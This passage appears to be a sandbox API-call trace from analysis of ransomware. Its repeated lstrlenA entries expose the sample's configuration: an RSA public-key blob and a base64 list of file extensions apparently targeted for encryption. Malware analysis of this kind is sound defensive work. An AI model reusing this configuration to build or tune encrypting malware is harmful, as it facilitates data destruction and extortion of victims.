LmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.470] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXR